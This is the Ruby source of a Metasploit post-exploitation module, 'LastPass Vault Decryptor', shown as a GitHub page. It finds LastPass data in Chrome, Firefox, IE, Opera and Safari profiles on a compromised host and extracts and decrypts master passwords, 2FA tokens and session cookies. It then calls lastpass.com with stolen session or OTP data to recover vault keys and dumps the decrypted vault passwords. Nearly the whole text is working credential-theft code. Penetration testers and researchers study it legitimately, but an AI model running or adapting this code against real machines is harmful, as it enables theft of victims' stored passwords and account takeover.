-
Notifications
You must be signed in to change notification settings - Fork 14.2k
/
Copy pathlastpass_creds.rb
830 lines (731 loc) · 34.5 KB
/
lastpass_creds.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'English'
require 'sqlite3'
require 'uri'
class MetasploitModule < Msf::Post
include Msf::Post::File
include Msf::Post::Windows::UserProfiles
include Msf::Post::OSX::System
include Msf::Post::Unix
def initialize(info = {})
super(
update_info(
info,
'Name' => 'LastPass Vault Decryptor',
'Description' => %q{
This module extracts and decrypts LastPass master login accounts and passwords,
encryption keys, 2FA tokens and all the vault passwords
},
'License' => MSF_LICENSE,
'Author' => [
'Alberto Garcia Illera <agarciaillera[at]gmail.com>', # original module and research
'Martin Vigo <martinvigo[at]gmail.com>', # original module and research
'Jon Hart <jon_hart[at]rapid7.com>' # module rework and cleanup
],
'Platform' => %w[linux osx unix win],
'References' => [
[ 'URL', 'http://www.martinvigo.com/even-the-lastpass-will-be-stolen-deal-with-it' ]
],
'SessionTypes' => %w[meterpreter shell],
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
stdapi_railgun_api
stdapi_registry_open_key
stdapi_sys_process_attach
stdapi_sys_process_get_processes
stdapi_sys_process_getpid
stdapi_sys_process_memory_allocate
stdapi_sys_process_memory_read
stdapi_sys_process_memory_write
]
}
}
)
)
end
def run
if session.platform == 'windows' && session.type == 'shell' # No Windows shell support
print_error 'Shell sessions on Windows are not supported'
return
end
print_status 'Searching for LastPass databases'
account_map = build_account_map
if account_map.empty?
print_status 'No databases found'
return
end
print_status 'Extracting credentials'
extract_credentials(account_map)
print_status 'Extracting 2FA tokens'
extract_2fa_tokens(account_map)
print_status 'Extracting vault and iterations'
extract_vault_and_iterations(account_map)
print_status 'Extracting encryption keys'
extract_vault_keys(account_map)
print_lastpass_data(account_map)
end
# Returns a mapping of lastpass accounts
def build_account_map
profiles = user_profiles
account_map = {}
profiles.each do |user_profile|
account = user_profile['UserName']
browser_path_map = {}
localstorage_path_map = {}
cookies_path_map = {}
case session.platform
when 'windows'
browser_path_map = {
'Chrome' => "#{user_profile['LocalAppData']}\\Google\\Chrome\\User Data\\Default\\databases\\chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0",
'Firefox' => "#{user_profile['AppData']}\\Mozilla\\Firefox\\Profiles",
'IE' => "#{user_profile['LocalAppData']}Low\\LastPass",
'Opera' => "#{user_profile['AppData']}\\Opera Software\\Opera Stable\\databases\\chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0"
}
localstorage_path_map = {
'Chrome' => "#{user_profile['LocalAppData']}\\Google\\Chrome\\User Data\\Default\\Local Storage\\chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0.localstorage",
'Firefox' => "#{user_profile['LocalAppData']}Low\\LastPass",
'IE' => "#{user_profile['LocalAppData']}Low\\LastPass",
'Opera' => "#{user_profile['AppData']}\\Opera Software\\Opera Stable\\Local Storage\\chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0.localstorage"
}
cookies_path_map = {
'Chrome' => "#{user_profile['LocalAppData']}\\Google\\Chrome\\User Data\\Default\\Cookies",
'Firefox' => '', # It's set programmatically
'IE' => "#{user_profile['LocalAppData']}\\Microsoft\\Windows\\INetCookies\\Low",
'Opera' => "#{user_profile['AppData']}\\Opera Software\\Opera Stable\\Cookies"
}
when 'unix', 'linux'
browser_path_map = {
'Chrome' => "#{user_profile['LocalAppData']}/.config/google-chrome/Default/databases/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0",
'Firefox' => "#{user_profile['LocalAppData']}/.mozilla/firefox",
'Opera' => "#{user_profile['LocalAppData']}/.config/opera/databases/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0"
}
localstorage_path_map = {
'Chrome' => "#{user_profile['LocalAppData']}/.config/google-chrome/Default/Local Storage/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0.localstorage",
'Firefox' => "#{user_profile['LocalAppData']}/.lastpass",
'Opera' => "#{user_profile['LocalAppData']}/.config/opera/Local Storage/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0.localstorage"
}
cookies_path_map = { # TODO
'Chrome' => "#{user_profile['LocalAppData']}/.config/google-chrome/Default/Cookies",
'Firefox' => '', # It's set programmatically
'Opera' => "#{user_profile['LocalAppData']}/.config/opera/Cookies"
}
when 'osx'
browser_path_map = {
'Chrome' => "#{user_profile['LocalAppData']}/Google/Chrome/Default/databases/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0",
'Firefox' => "#{user_profile['LocalAppData']}/Firefox/Profiles",
'Opera' => "#{user_profile['LocalAppData']}/com.operasoftware.Opera/databases/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0",
'Safari' => "#{user_profile['AppData']}/Safari/Databases/safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0"
}
localstorage_path_map = {
'Chrome' => "#{user_profile['LocalAppData']}/Google/Chrome/Default/Local Storage/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0.localstorage",
'Firefox' => "#{user_profile['AppData']}/Containers/com.lastpass.LastPass/Data/Library/Application Support/LastPass",
'Opera' => "#{user_profile['LocalAppData']}/com.operasoftware.Opera/Local Storage/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0.localstorage",
'Safari' => "#{user_profile['AppData']}/Safari/LocalStorage/safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0.localstorage"
}
cookies_path_map = { # TODO
'Chrome' => "#{user_profile['LocalAppData']}/Google/Chrome/Default/Cookies",
'Firefox' => '', # It's set programmatically
'Opera' => "#{user_profile['LocalAppData']}/com.operasoftware.Opera/Cookies",
'Safari' => "#{user_profile['AppData']}/Cookies/Cookies.binarycookies"
}
else
print_error "Platform not recognized: #{session.platform}"
end
account_map[account] = {}
browser_path_map.each_pair do |browser, path|
account_map[account][browser] = {}
db_paths = find_db_paths(path, browser, account)
if db_paths && !db_paths.empty?
account_map[account][browser]['lp_db_path'] = db_paths.first
account_map[account][browser]['localstorage_db'] = localstorage_path_map[browser] if file?(localstorage_path_map[browser]) || browser.match(/Firefox|IE/)
account_map[account][browser]['cookies_db'] = cookies_path_map[browser] if file?(cookies_path_map[browser]) || browser.match(/Firefox|IE/)
account_map[account][browser]['cookies_db'] = account_map[account][browser]['lp_db_path'].first.gsub('prefs.js', 'cookies.sqlite') if (!account_map[account][browser]['lp_db_path'].blank? && browser == 'Firefox')
else
account_map[account].delete(browser)
end
end
end
account_map
end
# Returns a list of DB paths found in the victims' machine
def find_db_paths(path, browser, account)
paths = []
vprint_status "Checking #{account}'s #{browser}"
if browser == 'IE' # Special case for IE
data = read_registry_key_value('HKEY_CURRENT_USER\Software\LastPass', 'LoginUsers')
data = read_registry_key_value('HKEY_CURRENT_USER\Software\AppDataLow\Software\LastPass', 'LoginUsers') if data.blank?
paths |= ['HKEY_CURRENT_USER\Software\AppDataLow\Software\LastPass'] if !data.blank? && path != 'Low\\LastPass' # Hacky way to detect if there is access to user's data (attacker has no root access)
elsif browser == 'Firefox' # Special case for Firefox
paths |= firefox_profile_files(path)
else
paths |= file_paths(path)
end
vprint_good "Found #{paths.size} #{browser} databases for #{account}"
paths
end
# Returns the relevant information from user profiles
def user_profiles
user_profiles = []
case session.platform
when /unix|linux/
user_names = dir('/home')
user_names.reject! { |u| %w[. ..].include?(u) }
user_names.each do |user_name|
user_profiles.push('UserName' => user_name, 'LocalAppData' => "/home/#{user_name}")
end
when /osx/
user_names = session.shell_command('ls /Users').split
user_names.reject! { |u| u == 'Shared' }
user_names.each do |user_name|
user_profiles.push(
'UserName' => user_name,
'AppData' => "/Users/#{user_name}/Library",
'LocalAppData' => "/Users/#{user_name}/Library/Application Support"
)
end
when /windows/
user_profiles |= grab_user_profiles
else
print_error "OS not recognized: #{session.platform}"
end
user_profiles
end
# Extracts the databases paths from the given folder ignoring . and ..
def file_paths(path)
found_dbs_paths = []
files = []
files = dir(path) if directory?(path)
files.each do |file_path|
unless %w[. .. Shared].include?(file_path)
found_dbs_paths.push([path, file_path].join(system_separator))
end
end
found_dbs_paths
end
# Returns the profile files for Firefox
def firefox_profile_files(path)
found_dbs_paths = []
if directory?(path)
files = dir(path)
files.reject! { |file| %w[. ..].include?(file) }
files.each do |file_path|
found_dbs_paths.push([path, file_path, 'prefs.js'].join(system_separator)) if file_path.match(/.*\.default/)
end
end
[found_dbs_paths]
end
# Parses the Firefox preferences file and returns encoded credentials
def ie_firefox_credentials(prefs_path, localstorage_db_path)
credentials = []
data = nil
if prefs_path.nil? # IE
data = read_registry_key_value('HKEY_CURRENT_USER\Software\AppDataLow\Software\LastPass', 'LoginUsers')
data = read_registry_key_value('HKEY_CURRENT_USER\Software\LastPass', 'LoginUsers') if data.blank?
return [] if data.blank?
usernames = data.split('|')
usernames.each do |username|
credentials << [username, nil]
end
# Extract master passwords
data = read_registry_key_value('HKEY_CURRENT_USER\Software\AppDataLow\Software\LastPass', 'LoginPws')
data = Rex::Text.encode_base64(data) unless data.blank?
else # Firefox
loot_path = loot_file(prefs_path, nil, 'firefox.preferences', 'text/javascript', 'Firefox preferences file')
return [] unless loot_path
File.readlines(loot_path).each do |line|
next unless /user_pref\("extensions.lastpass.loginusers", "(?<encoded_users>.*)"\);/ =~ line
usernames = encoded_users.split('|')
usernames.each do |username|
credentials << [username, nil]
end
break
end
# Extract master passwords
path = localstorage_db_path + system_separator + 'lp.loginpws'
data = read_remote_file(path) if file?(path) # Read file if it exists
end
# Get encrypted master passwords
data = windows_unprotect(data) if !data.nil? && data.match(/^AQAAA.+/) # Verify Windows protection
return credentials if data.blank? # No passwords stored
creds_per_user = data.split('|')
creds_per_user.each_with_index do |user_creds, _index|
parts = user_creds.split('=')
for creds in credentials
creds[1] = parts[1] if creds[0] == parts[0] # Add the password to the existing username
end
end
credentials
end
def decrypt_data(key, encrypted_data)
return nil if encrypted_data.blank?
if encrypted_data.include?('|') # Use CBC
decipher = OpenSSL::Cipher.new('AES-256-CBC').decrypt
decipher.iv = Rex::Text.decode_base64(encrypted_data[1, 24]) # Discard ! and |
encrypted_data = encrypted_data[26..] # Take only the data part
else # Use ECB
decipher = OpenSSL::Cipher.new('AES-256-ECB').decrypt
end
begin
decipher.key = key
decrypted_data = decipher.update(Rex::Text.decode_base64(encrypted_data)) + decipher.final
rescue OpenSSL::Cipher::CipherError => e
vprint_error "Data could not be decrypted. #{e.message}"
end
decrypted_data
end
def extract_credentials(account_map)
account_map.each_pair do |account, browser_map|
browser_map.each_pair do |browser, lp_data|
account_map[account][browser]['lp_creds'] = {}
if browser.match(/Firefox|IE/)
if browser == 'Firefox'
ieffcreds = ie_firefox_credentials(lp_data['lp_db_path'].first, lp_data['localstorage_db'])
else # IE
ieffcreds = ie_firefox_credentials(nil, lp_data['localstorage_db'])
end
unless ieffcreds.blank?
ieffcreds.each do |creds|
if creds[1].blank? # No master password found
account_map[account][browser]['lp_creds'][URI.decode_uri_component(creds[0])] = { 'lp_password' => nil }
else
sha256_hex_email = OpenSSL::Digest::SHA256.hexdigest(URI.decode_uri_component(creds[0]))
sha256_binary_email = [sha256_hex_email].pack 'H*' # Do hex2bin
creds[1] = decrypt_data(sha256_binary_email, URI.decode_uri_component(creds[1]))
account_map[account][browser]['lp_creds'][URI.decode_uri_component(creds[0])] = { 'lp_password' => creds[1] }
end
end
end
else # Chrome, Safari and Opera
loot_path = loot_file(lp_data['lp_db_path'], nil, "#{browser.downcase}.lastpass.database", 'application/x-sqlite3', "#{account}'s #{browser} LastPass database #{lp_data['lp_db_path']}")
account_map[account][browser]['lp_db_loot'] = loot_path
next if loot_path.blank?
# Parsing/Querying the DB
db = SQLite3::Database.new(loot_path)
result = db.execute(
'SELECT username, password FROM LastPassSavedLogins2 ' \
"WHERE username IS NOT NULL AND username != '' " \
)
for row in result
next unless row[0]
sha256_hex_email = OpenSSL::Digest::SHA256.hexdigest(row[0])
sha256_binary_email = [sha256_hex_email].pack 'H*' # Do hex2bin
row[1].blank? ? row[1] = nil : row[1] = decrypt_data(sha256_binary_email, row[1]) # Decrypt master password
account_map[account][browser]['lp_creds'][row[0]] = { 'lp_password' => row[1] }
end
end
end
end
end
# Extracts the 2FA token from localStorage
def extract_2fa_tokens(account_map)
account_map.each_pair do |account, browser_map|
browser_map.each_pair do |browser, lp_data|
if browser.match(/Firefox|IE/)
path = lp_data['localstorage_db'] + system_separator + 'lp.suid'
data = read_remote_file(path) if file?(path) # Read file if it exists
data = windows_unprotect(data) if !data.nil? && data.size > 32 # Verify Windows protection
loot_path = loot_file(nil, data, "#{browser.downcase}.lastpass.localstorage", 'application/x-sqlite3', "#{account}'s #{browser} LastPass localstorage #{lp_data['localstorage_db']}")
account_map[account][browser]['lp_2fa'] = data
else # Chrome, Safari and Opera
loot_path = loot_file(lp_data['localstorage_db'], nil, "#{browser.downcase}.lastpass.localstorage", 'application/x-sqlite3', "#{account}'s #{browser} LastPass localstorage #{lp_data['localstorage_db']}")
unless loot_path.blank?
db = SQLite3::Database.new(loot_path)
token = db.execute(
'SELECT hex(value) FROM ItemTable ' \
"WHERE key = 'lp.uid';"
).flatten
end
token.blank? ? account_map[account][browser]['lp_2fa'] = nil : account_map[account][browser]['lp_2fa'] = token.pack('H*')
end
end
end
end
# Print all extracted LastPass data
def print_lastpass_data(account_map)
lastpass_data_table = Rex::Text::Table.new(
'Header' => 'LastPass Accounts',
'Indent' => 1,
'Columns' => %w[Account LP_Username LP_Password LP_2FA LP_Key]
)
account_map.each_pair do |account, browser_map|
browser_map.each_pair do |_browser, lp_data|
lp_data['lp_creds'].each_pair do |username, user_data|
lastpass_data_table << [account, username, user_data['lp_password'], lp_data['lp_2fa'], user_data['vault_key']]
end
end
end
unless account_map.empty?
print_good lastpass_data_table.to_s
loot_file(nil, lastpass_data_table.to_csv, 'lastpass.data', 'text/csv', 'LastPass Data')
print_vault_passwords(account_map)
end
end
def extract_vault_and_iterations(account_map)
account_map.each_pair do |account, browser_map|
browser_map.each_pair do |browser, lp_data|
lp_data['lp_creds'].each_pair do |username, _user_data|
if browser.match(/Firefox|IE/)
if browser == 'Firefox'
iterations_path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + '_key.itr'
vault_path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + '_lps.act.sxml'
else # IE
iterations_path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + '_key_ie.itr'
vault_path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + '_lps.sxml'
end
iterations = read_remote_file(iterations_path) if file?(iterations_path) # Read file if it exists
iterations = nil if iterations.blank? # Verify content
lp_data['lp_creds'][username]['iterations'] = iterations
# Find encrypted vault
vault = read_remote_file(vault_path)
vault = windows_unprotect(vault) if !vault.nil? && vault.match(/^AQAAA.+/) # Verify Windows protection
vault = vault.sub(/iterations=.*;/, '') if file?(vault_path) # Remove iterations info
loot_path = loot_file(nil, vault, "#{browser.downcase}.lastpass.vault", 'text/plain', "#{account}'s #{browser} LastPass vault")
lp_data['lp_creds'][username]['vault_loot'] = loot_path
else # Chrome, Safari and Opera
db = SQLite3::Database.new(lp_data['lp_db_loot'])
result = db.execute(
'SELECT data FROM LastPassData ' \
"WHERE username_hash = ? AND type = 'accts'", OpenSSL::Digest::SHA256.hexdigest(username)
)
if result.size == 1 && !result[0].blank?
if /iterations=(?<iterations>.*);(?<vault>.*)/ =~ result[0][0]
lp_data['lp_creds'][username]['iterations'] = iterations
else
lp_data['lp_creds'][username]['iterations'] = 1
end
loot_path = loot_file(nil, vault, "#{browser.downcase}.lastpass.vault", 'text/plain', "#{account}'s #{browser} LastPass vault")
lp_data['lp_creds'][username]['vault_loot'] = loot_path
else
lp_data['lp_creds'][username]['iterations'] = nil
lp_data['lp_creds'][username]['vault_loot'] = nil
end
end
end
end
end
end
def extract_vault_keys(account_map)
account_map.each_pair do |account, browser_map|
browser_map.each_pair do |browser, lp_data|
browser_checked = false # Track if local stored vault key was already decrypted for this browser (only one session cookie)
lp_data['lp_creds'].each_pair do |username, user_data|
if !user_data['lp_password'].blank? && !user_data['iterations'].nil? # Derive vault key from credentials
lp_data['lp_creds'][username]['vault_key'] = derive_vault_key_from_creds(username, lp_data['lp_creds'][username]['lp_password'], user_data['iterations'])
else # Get vault key decrypting the locally stored one or from the disabled OTP
unless browser_checked
decrypt_local_vault_key(account, browser_map)
browser_checked = true
end
if lp_data['lp_creds'][username]['vault_key'].nil? # If no vault key was found yet, try with dOTP
otpbin = extract_otpbin(browser, username, lp_data)
otpbin.blank? ? next : otpbin = otpbin[0..31]
lp_data['lp_creds'][username]['vault_key'] = decrypt_vault_key_with_otp(username, otpbin)
end
end
end
end
end
end
# Decrypt the locally stored vault key
def decrypt_local_vault_key(account, browser_map)
data = nil
session_cookie_value = nil
browser_map.each_pair do |browser, lp_data|
if browser == 'IE' && directory?(lp_data['cookies_db'])
cookies_files = dir(lp_data['cookies_db'])
cookies_files.reject! { |u| %w[. ..].include?(u) }
cookies_files.each do |cookie_jar_file|
data = read_remote_file(lp_data['cookies_db'] + system_separator + cookie_jar_file)
next if data.blank?
next unless /.*PHPSESSID.(?<session_cookie_value_match>.*?).lastpass\.com?/m =~ data # Find the session id
loot_file(lp_data['cookies_db'] + system_separator + cookie_jar_file, nil, "#{browser.downcase}.lastpass.cookies", 'text/plain', "#{account}'s #{browser} cookies DB")
session_cookie_value = session_cookie_value_match
break
end
else
case browser
when /Chrome/
query = "SELECT encrypted_value FROM cookies WHERE host_key = 'lastpass.com' AND name = 'PHPSESSID'"
when 'Opera'
query = "SELECT encrypted_value FROM cookies WHERE host_key = 'lastpass.com' AND name = 'PHPSESSID'"
when 'Firefox'
query = "SELECT value FROM moz_cookies WHERE host = 'lastpass.com' AND name = 'PHPSESSID'"
else
vprint_error "Browser #{browser} not supported for cookies"
next
end
# Parsing/Querying the DB
loot_path = loot_file(lp_data['cookies_db'], nil, "#{browser.downcase}.lastpass.cookies", 'application/x-sqlite3', "#{account}'s #{browser} cookies DB")
next if loot_path.blank?
db = SQLite3::Database.new(loot_path)
begin
result = db.execute(query)
rescue SQLite3::SQLException => e
vprint_error "No session cookie was found in #{account}'s #{browser} (#{e.message})"
next
end
next if result.blank? # No session cookie found for this browser
session_cookie_value = result[0][0]
end
return if session_cookie_value.blank?
# Check if cookie value needs to be decrypted
if Rex::Text.encode_base64(session_cookie_value).match(/^AQAAA.+/) # Windows Data protection API
session_cookie_value = windows_unprotect(Rex::Text.encode_base64(session_cookie_value))
elsif session_cookie_value.match(/^v10/) && browser.match(/Chrome|Opera/) # Chrome/Opera encrypted cookie in Linux
begin
decipher = OpenSSL::Cipher.new('AES-256-CBC')
decipher.decrypt
decipher.key = OpenSSL::Digest.hexdigest('SHA256', 'peanuts')
decipher.iv = ' ' * 16
session_cookie_value = session_cookie_value[3..] # Discard v10
session_cookie_value = decipher.update(session_cookie_value) + decipher.final
rescue OpenSSL::Cipher::CipherError => e
print_error "Cookie could not be decrypted. #{e.message}"
end
end
# Use the cookie to obtain the encryption key to decrypt the vault key
uri = URI('https://lastpass.com/login_check.php')
request = Net::HTTP::Post.new(uri)
request.set_form_data('wxsessid' => URI.decode_uri_component(session_cookie_value), 'uuid' => browser_map['lp_2fa'])
request.content_type = 'application/x-www-form-urlencoded; charset=UTF-8'
response = Net::HTTP.start(uri.hostname, uri.port, use_ssl: true) { |http| http.request(request) }
# Parse response
next unless response.body.match(/pwdeckey="([a-z0-9]+)"/) # Session must have expired
decryption_key = OpenSSL::Digest::SHA256.hexdigest(response.body.match(/pwdeckey="([a-z0-9]+)"/)[1])
username = response.body.match(/lpusername="([A-Za-z0-9._%+-@]+)"/)[1]
# Get the local encrypted vault key
encrypted_vault_key = extract_local_encrypted_vault_key(browser, username, lp_data)
# Decrypt the local stored key
lp_data['lp_creds'][username]['vault_key'] = decrypt_data([decryption_key].pack('H*'), encrypted_vault_key)
end
end
# Returns otp, encrypted_key
def extract_otpbin(browser, username, lp_data)
if browser.match(/Firefox|IE/)
if browser == 'Firefox'
path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + '_ff.sotp'
else # IE
path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + '.sotp'
end
otpbin = read_remote_file(path) if file?(path) # Read file if it exists
otpbin = windows_unprotect(otpbin) if !otpbin.nil? && otpbin.match(/^AQAAA.+/)
return otpbin
else # Chrome, Safari and Opera
db = SQLite3::Database.new(lp_data['lp_db_loot'])
result = db.execute(
'SELECT type, data FROM LastPassData ' \
"WHERE username_hash = ? AND type = 'otp'", OpenSSL::Digest::SHA256.hexdigest(username)
)
return (result.blank? || result[0][1].blank?) ? nil : [result[0][1]].pack('H*')
end
end
def derive_vault_key_from_creds(username, password, key_iteration_count)
if key_iteration_count == 1
key = Digest::SHA256.hexdigest username + password
else
key = pbkdf2(password, username, key_iteration_count.to_i, 32).first
end
key
end
def decrypt_vault_key_with_otp(username, otpbin)
vault_key_decryption_key = [lastpass_sha256(username + otpbin)].pack 'H*'
encrypted_vault_key = retrieve_encrypted_vault_key_with_otp(username, otpbin)
decrypt_data(vault_key_decryption_key, encrypted_vault_key)
end
def retrieve_encrypted_vault_key_with_otp(username, otpbin)
# Derive login hash from otp
otp_token = lastpass_sha256(lastpass_sha256(username + otpbin) + otpbin) # OTP login hash
# Make request to LastPass
uri = URI('https://lastpass.com/otp.php')
request = Net::HTTP::Post.new(uri)
request.set_form_data('login' => 1, 'xml' => 1, 'hash' => otp_token, 'otpemail' => URI::DEFAULT_PARSER.escape(username), 'outofbandsupported' => 1, 'changepw' => otp_token)
request.content_type = 'application/x-www-form-urlencoded; charset=UTF-8'
response = Net::HTTP.start(uri.hostname, uri.port, use_ssl: true) { |http| http.request(request) }
# Parse response
encrypted_vault_key = nil
if response.body.match(/randkey="(.*)"/)
encrypted_vault_key = response.body.match(/randkey="(.*)"/)[1]
end
encrypted_vault_key
end
# LastPass does some preprocessing (UTF8) when doing a SHA256 on special chars (binary)
def lastpass_sha256(input)
output = ''
input = input.gsub("\r\n", "\n")
input.each_byte do |e|
if e < 128
output += e.chr
elsif (e > 127 && e < 2048)
output += (e >> 6 | 192).chr
output += (e & 63 | 128).chr
else
output += (e >> 12 | 224).chr
output += (e >> 6 & 63 | 128).chr
end
end
OpenSSL::Digest::SHA256.hexdigest(output)
end
def pbkdf2(password, salt, iterations, key_length)
digest = OpenSSL::Digest.new('SHA256')
OpenSSL::PKCS5.pbkdf2_hmac(password, salt, iterations, key_length, digest).unpack 'H*'
end
def windows_unprotect(data)
data = Rex::Text.decode_base64(data)
pid = session.sys.process.getpid
process = session.sys.process.open(pid, PROCESS_ALL_ACCESS)
mem = process.memory.allocate(data.length + 200)
process.memory.write(mem, data)
if session.sys.process.each_process.find { |i| i['pid'] == pid } ['arch'] == 'x86'
addr = [mem].pack('V')
len = [data.length].pack('V')
ret = session.railgun.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 8)
len, addr = ret['pDataOut'].unpack('V2')
else
addr = Rex::Text.pack_int64le(mem)
len = Rex::Text.pack_int64le(data.length)
ret = session.railgun.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 16)
pData = ret['pDataOut'].unpack('VVVV')
len = pData[0] + (pData[1] << 32)
addr = pData[2] + (pData[3] << 32)
end
return '' if len == 0
process.memory.read(addr, len)
end
def print_vault_passwords(account_map)
account_map.each_pair do |_account, browser_map|
browser_map.each_pair do |browser, lp_data|
lp_data['lp_creds'].each_pair do |username, user_data|
lastpass_vault_data_table = Rex::Text::Table.new(
'Header' => "Decrypted vault from #{username}",
'Indent' => 1,
'Columns' => %w[URL Username Password]
)
if user_data['vault_loot'].nil? # Was a vault found?
print_error "No vault was found for #{username}"
next
end
encoded_vault = File.read(user_data['vault_loot'])
if encoded_vault[0] == '!' # Vault is double encrypted
encoded_vault = decrypt_data([user_data['vault_key']].pack('H*'), encoded_vault)
if encoded_vault.blank?
print_error "Vault from #{username} could not be decrypted"
next
else
encoded_vault = encoded_vault.sub('LPB64', '')
end
end
# Parse vault
vault = Rex::Text.decode_base64(encoded_vault)
vault.scan(/ACCT/) do |_result|
chunk_length = vault[$LAST_MATCH_INFO.offset(0)[1]..$LAST_MATCH_INFO.offset(0)[1] + 3].unpack('H*').first.to_i(16) # Get the length in base 10 of the ACCT chunk
chunk = vault[$LAST_MATCH_INFO.offset(0)[0]..$LAST_MATCH_INFO.offset(0)[1] + chunk_length] # Get ACCT chunk
account_data = parse_vault_account(chunk, user_data['vault_key'])
lastpass_vault_data_table << account_data if !account_data.nil?
end
next if account_map.empty? # Loot passwords
if lastpass_vault_data_table.rows.empty?
print_status('No decrypted vaults.')
else
print_good lastpass_vault_data_table.to_s
end
loot_file(nil, lastpass_vault_data_table.to_csv, "#{browser.downcase}.lastpass.passwords", 'text/csv', "LastPass Vault Passwords from #{username}")
end
end
end
end
def parse_vault_account(chunk, vault_key)
pointer = 22 # Starting position to find data to decrypt
labels = ['name', 'folder', 'url', 'notes', 'undefined', 'undefined2', 'username', 'password']
vault_data = []
for label in labels
if chunk[pointer..pointer + 3].nil?
# Out of bound read
return nil
end
length = chunk[pointer..pointer + 3].unpack('H*').first.to_i(16)
encrypted_data = chunk[pointer + 4..pointer + 4 + length - 1]
label != 'url' ? decrypted_data = decrypt_vault_password(vault_key, encrypted_data) : decrypted_data = [encrypted_data].pack('H*')
decrypted_data = '' if decrypted_data.nil?
vault_data << decrypted_data if (label == 'url' || label == 'username' || label == 'password')
pointer = pointer + 4 + length
end
return vault_data[0] == 'http://sn' ? nil : vault_data # TODO: Support secure notes
end
def decrypt_vault_password(key, encrypted_data)
return nil if key.blank? || encrypted_data.blank?
if encrypted_data[0] == '!' # Apply CBC
decipher = OpenSSL::Cipher.new('AES-256-CBC').decrypt
decipher.iv = encrypted_data[1, 16] # Discard !
encrypted_data = encrypted_data[17..]
else # Apply ECB
decipher = OpenSSL::Cipher.new('AES-256-ECB').decrypt
end
decipher.key = [key].pack 'H*'
begin
return decipher.update(encrypted_data) + decipher.final
rescue OpenSSL::Cipher::CipherError
vprint_error "Vault password could not be decrypted with key #{key}"
return nil
end
end
# Reads a remote file and loots it
